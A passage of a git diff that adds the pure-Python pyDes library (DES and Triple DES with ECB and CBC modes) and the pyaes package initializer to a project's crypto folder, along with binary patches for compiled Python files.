CBC errors. +# +"""A pure python implementation of the DES and TRIPLE DES encryption algorithms. + +Class initialization +-------------------- +pyDes.des(key, [mode], [IV], [pad], [padmode]) +pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) + +key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes + for Triple DES +mode -> Optional argument for encryption type, can be either + pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) +IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Length must be 8 bytes. +pad -> Optional argument, set the pad character (PAD_NORMAL) to use during + all encrypt/decrypt operations done with this instance. +padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) + to use during all encrypt/decrypt operations done with this instance. + +I recommend to use PAD_PKCS5 padding, as then you never need to worry about any +padding issues, as the padding can be removed unambiguously upon decrypting +data that was encrypted using PAD_PKCS5 padmode. + +Common methods +-------------- +encrypt(data, [pad], [padmode]) +decrypt(data, [pad], [padmode]) + +data -> Bytes to be encrypted/decrypted +pad -> Optional argument. Only when using padmode of PAD_NORMAL. For + encryption, adds this characters to the end of the data block when + data is not a multiple of 8 bytes. For decryption, will remove the + trailing characters that match this pad character from the last 8 + bytes of the unencrypted data block. +padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL + or PAD_PKCS5). Defaults to PAD_NORMAL. + + +Example +------- +from pyDes import * + +data = "Please encrypt my data" +k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +# For Python3, you'll need to use bytes, i.e.: +# data = b"Please encrypt my data" +# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +d = k.encrypt(data) +print "Encrypted: %r" % d +print "Decrypted: %r" % k.decrypt(d) +assert k.decrypt(d, padmode=PAD_PKCS5) == data + + +See the module source (pyDes.py) for more examples of use. +You can also run the pyDes.py file without and arguments to see a simple test. + +Note: This code was not written for high-end systems needing a fast + implementation, but rather a handy portable solution with small usage. + +""" + +import sys + +# _pythonMajorVersion is used to handle Python2 and Python3 differences. +_pythonMajorVersion = sys.version_info[0] + +# Modes of crypting / cyphering +ECB = 0 +CBC = 1 + +# Modes of padding +PAD_NORMAL = 1 +PAD_PKCS5 = 2 + +# PAD_PKCS5: is a method that will unambiguously remove all padding +# characters after decryption, when originally encrypted with +# this padding mode. +# For a good description of the PKCS5 padding technique, see: +# http://www.faqs.org/rfcs/rfc1423.html + +# The base class shared by des and triple des. +class _baseDes(object): + def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + if IV: + IV = self._guardAgainstUnicode(IV) + if pad: + pad = self._guardAgainstUnicode(pad) + self.block_size = 8 + # Sanity checking of arguments. + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if IV and len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + + # Set the passed in variables + self._mode = mode + self._iv = IV + self._padding = pad + self._padmode = padmode + + def getKey(self): + """getKey() -> bytes""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object.""" + key = self._guardAgainstUnicode(key) + self.__key = key + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self._mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self._mode = mode + + def getPadding(self): + """getPadding() -> bytes of length 1. Padding character.""" + return self._padding + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + if pad is not None: + pad = self._guardAgainstUnicode(pad) + self._padding = pad + + def getPadMode(self): + """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + return self._padmode + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + self._padmode = mode + + def getIV(self): + """getIV() -> bytes""" + return self._iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + IV = self._guardAgainstUnicode(IV) + self._iv = IV + + def _padData(self, data, pad, padmode): + # Pad data depending on the mode + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + + if padmode == PAD_NORMAL: + if len(data) % self.block_size == 0: + # No padding required. + return data + + if not pad: + # Get the default padding. + pad = self.getPadding() + if not pad: + raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") + data += (self.block_size - (len(data) % self.block_size)) * pad + + elif padmode == PAD_PKCS5: + pad_len = 8 - (len(data) % self.block_size) + if _pythonMajorVersion < 3: + data += pad_len * chr(pad_len) + else: + data += bytes([pad_len] * pad_len) + + return data + + def _unpadData(self, data, pad, padmode): + # Unpad data depending on the mode. + if not data: + return data + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + + if padmode == PAD_NORMAL: + if not pad: + # Get the default padding. + pad = self.getPadding() + if pad: + data = data[:-self.block_size] + \ + data[-self.block_size:].rstrip(pad) + + elif padmode == PAD_PKCS5: + if _pythonMajorVersion < 3: + pad_len = ord(data[-1]) + else: + pad_len = data[-1] + data = data[:-pad_len] + + return data + + def _guardAgainstUnicode(self, data): + # Only accept byte strings or ascii unicode values, otherwise + # there is no way to correctly decode the data into bytes. + if _pythonMajorVersion < 3: + if isinstance(data, unicode): # noqa + raise ValueError("pyDes can only work with bytes, not Unicode strings.") + else: + if isinstance(data, str): + # Only accept ascii unicode values. + try: + return data.encode('ascii') + except UnicodeEncodeError: + pass + raise ValueError("pyDes can only work with encoded strings, not Unicode.") + return data + +############################################################################# +# DES # +############################################################################# +class des(_baseDes): + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> Bytes containing the encryption key, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrypt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrypt operations done + with this instance. + """ + + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ + # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], + + # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], + + # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], + + # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], + + # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], + + # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], + + # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], + + # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23,13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + # Sanity checking of arguments. + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + _baseDes.__init__(self, mode, IV, pad, padmode) + self.key_size = 8 + + self.L = [] + self.R = [] + self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + _baseDes.setKey(self, key) + self.__create_sub_keys() + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + if _pythonMajorVersion < 3: + # Turn the strings into integers. Python 3 uses a bytes + # class, which already has this behaviour. + data = [ord(c) for c in data] + l = len(data) * 8 + result = [0] * l + pos = 0 + for ch in data: + i = 7 + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = [] + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result.append(c) + c = 0 + pos += 1 + + if _pythonMajorVersion < 3: + return ''.join([ chr(c) for c in result ]) + else: + return bytes(result) + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return list(map(lambda x: block[x], table)) + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < des.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(des.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == des.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(des.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] + # Optimization: Replaced below commented code with above + #j = 0 + #B = [] + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = des.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(des.__p, Bn) + + # Xor with L[i - 1] + self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + # Optimization: This now replaces the below commented code + #j = 0 + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(des.__fp, self.R + self.L) + return self.final + + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print "Len of data: %f" % (len(data) / self.block_size) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + #cached = 0 + #lines = 0 + while i < len(data): + # Test code for caching encryption results + #lines += 1 + #if dict.has_key(data[i:i+8]): + #print "Cached result for: %s" % data[i:i+8] + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i+8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == des.ENCRYPT: + block = list(map(lambda x, y: x ^ y, block, iv)) + #j = 0 + #while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == des.DECRYPT: + processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + #j = 0 + #while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + + # Add the resulting crypted block to our list + #d = self.__BitList_to_String(processed_block) + #result.append(d) + result.append(self.__BitList_to_String(processed_block)) + #dict[data[i:i+8]] = d + i += 8 + + # print "Lines: %d, cached: %d" % (lines, cached) + + # Return the full crypted string + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self._padData(data, pad, padmode) + return self.crypt(data, des.ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be decrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after decrypting. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self.crypt(data, des.DECRYPT) + return self._unpadData(data, pad, padmode) + + + +############################################################################# +# Triple DES # +############################################################################# +class triple_des(_baseDes): + """Triple DES encryption/decrytpion class + + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key, [mode], [IV]) + + key -> Bytes containing the encryption key, must be either 16 or + 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrypt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrypt operations done + with this instance. + """ + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + _baseDes.__init__(self, mode, IV, pad, padmode) + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC: + if not self.getIV(): + # Use the first 8 bytes of the key + self._iv = key[:self.block_size] + if len(self.getIV()) != self.block_size: + raise ValueError("Invalid IV, must be 8 bytes in length") + self.__key1 = des(key[:8], self._mode, self._iv, + self._padding, self._padmode) + self.__key2 = des(key[8:16], self._mode, self._iv, + self._padding, self._padmode) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = des(key[16:], self._mode, self._iv, + self._padding, self._padmode) + _baseDes.setKey(self, key) + + # Override setter methods to work on all 3 keys. + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + _baseDes.setMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setMode(mode) + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + _baseDes.setPadding(self, pad) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadding(pad) + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + _baseDes.setPadMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadMode(mode) + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + _baseDes.setIV(self, IV) + for key in (self.__key1, self.__key2, self.__key3): + key.setIV(IV) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + # Pad the data accordingly. + data = self._padData(data, pad, padmode) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + block = self.__key1.crypt(data[i:i+8], ENCRYPT) + block = self.__key2.crypt(block, DECRYPT) + block = self.__key3.crypt(block, ENCRYPT) + self.__key1.setIV(block) + self.__key2.setIV(block) + self.__key3.setIV(block) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + else: + data = self.__key1.crypt(data, ENCRYPT) + data = self.__key2.crypt(data, DECRYPT) + return self.__key3.crypt(data, ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after + decrypting, no pad character is required for PAD_PKCS5. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + iv = data[i:i+8] + block = self.__key3.crypt(iv, DECRYPT) + block = self.__key2.crypt(block, ENCRYPT) + block = self.__key1.crypt(block, DECRYPT) + self.__key1.setIV(iv) + self.__key2.setIV(iv) + self.__key3.setIV(iv) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + data = ''.join(result) + else: + data = bytes.fromhex('').join(result) + else: + data = self.__key3.crypt(data, DECRYPT) + data = self.__key2.crypt(data, ENCRYPT) + data = self.__key1.crypt(data, DECRYPT) + return self._unpadData(data, pad, padmode) diff --git a/lazagne/config/crypto/pyaes/__init__.py b/lazagne/config/crypto/pyaes/__init__.py new file mode 100644 index 0000000..5712f79 --- /dev/null +++ b/lazagne/config/crypto/pyaes/__init__.py @@ -0,0 +1,53 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# This is a pure-Python implementation of the AES algorithm and AES common +# modes of operation. + +# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard +# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation + + +# Supported key sizes: +# 128-bit +# 192-bit +# 256-bit + + +# Supported modes of operation: +# ECB - Electronic Codebook +# CBC - Cipher-Block Chaining +# CFB - Cipher Feedback +# OFB - Output Feedback +# CTR - Counter + +# See the README.md for API details and general information. + +# Also useful, PyCrypto, a crypto library implemented in C with Python bindings: +# https://www.dlitz.net/software/pycrypto/ + + +VERSION = [1, 3, 0] + +from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter +from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter +from .blockfeeder import PADDING_NONE, PADDING_DEFAULT diff --git a/lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-37.pyc b/lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..81b0d0f5d06f1f224bf508db4f24807d064411cf GIT binary patch literal 605 zcmZvZOK#gR5Qg=#CE1qjpbgL)G~SfRz9`~{oCHXuB6hPN&$^hTsfla|g(c+{~@QrWo0k z$t`Meo7&u=4sX#GZ__q+smnd;ai97o?sKXR@6s;s(H;+Iz(X4D{TBFr+UEm00NtJ& zLw9FFk{zbp!8C@Rwnx!i9|NvM&XQHKW-?Qys3(h?gZ6lG(4LJC+0o>noxtu-?{|xb~-Snn@k9`v0ZqO~W}$_kND1)64igjgvUi{SP&b zW}{zMi+FgX-P`D9ewoDD&R8QI_y*ZRv=J@>T4YEcfo+pr0PWsaV)?jYEN4>o&<+qG zqK_CLjsVYw{ERW;&jsPNA`iu?Ay=X(Yodgxw&Z#@av!lsTJAvrae<_=T zoZ6j;=UOp2baa@rmE3Mr+9=5~uKnp=GpR#Xzu$`X8qQg|cQ=|&Z{n*oPU1-S|Ep&Ejc^grCPVrNY@O@^X!l1YR!?ijawcUD?En!X z`iKGI1n|p{A8?KMGb6lKkhm8jQc pLEfGx$Yu)_k~A&rQl;sq%~pF~xX7O?_VqJd-eAQY>%u%U{{n~XsJH+C literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-39.pyc b/lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f9781fd57ffff1cda725d218fdb5d4101a54953a GIT binary patch literal 643 zcmZvZ-D=w~7>4Da#C8)qDP3WAu=!+S=VL6f-L=r#qi%N~wi(Y>f~jR0St+EKv$NgG zEMitW`qBfXBqpVJwLc>>HYanf zM>z_|q4i+skOvE(3ki^+tE@$mt7DA|Uej!q^;DFy;azlfxz}Dsd+n3uK0Ar_+L`V? zdX5}kWGW}(n@&;@+A64NCAPgR1}SLClovl~DpWwb|Cf>{t@oK~`ehNvXX)o6&C*28 z{;4=QSzMoArQxA+z9yIXS(YlRq=T^GEk=MbzyavLLc#;U|A~nPnfz>db+e+hrb0}? z_5lH42ABg5HGU)U3g&=EimwMM2HcmoIOf%c(M}FHYWb$l3oSocL*_W!IefX|3hZT=;2| zVHa&{Zq~{yp`w*pv|XG-a;CYN{9m+vTU#xsu}v;xo80;~ZOjrZTAKx$X?Zk@!DgC8 